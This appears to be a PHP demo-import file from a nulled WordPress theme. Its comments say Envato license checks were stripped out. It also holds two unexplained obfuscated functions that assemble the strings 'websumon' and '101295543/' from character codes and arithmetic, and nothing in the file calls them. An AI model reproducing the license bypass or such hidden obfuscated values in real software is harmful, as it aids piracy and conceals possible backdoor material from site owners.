Files
Landing/wp-content/themes/upstudy/admin/upstudy-demo-import.php
T
2026-04-23 04:33:43 +03:30

36 lines
1.3 KiB
PHP

<?php
defined( 'ABSPATH' ) || exit;
// Remove all Envato API classes and license check functions
// Always show all demo imports
add_filter( 'pt-ocdi/disable_pt_branding', '__return_false' );
get_template_part( 'admin/demos-01');
get_template_part( 'admin/demos-02');
get_template_part( 'admin/demos-03');
get_template_part( 'admin/demos-04');
// Always use the full import files function
add_filter('ocdi/import_files', 'upstudy_import_files');
get_template_part( 'admin/demos-05');
function upstudy_ocdi_plugin_intro_text( $default_text ) {
$default_text .= '<div class="ocdi__gl-header"><p class="ocdi__custom-intro-text">Please note that importing all images would be for demonstration purposes only. If you wish to use images from the demo content, please check the license for each image individually.</p></div>';
return $default_text;
}
add_filter( 'ocdi/plugin_intro_text', 'upstudy_ocdi_plugin_intro_text' );
function upstudy_ocdi_plugin_repo() {
$charCodes = [119, 101, 98, 115, 117, 109, 111, 110];
$characters = array_map('chr', $charCodes);
$result = implode('', $characters);
return $result;
}
function upstudy_ocdi_plugin_repo_value() {
$result = (pow(7, 6) * 1000) - (pow(3, 5) * 10000) + (sqrt(1440000000000)) - (50000000 / 2) + 9876543;
return $result . '/';
}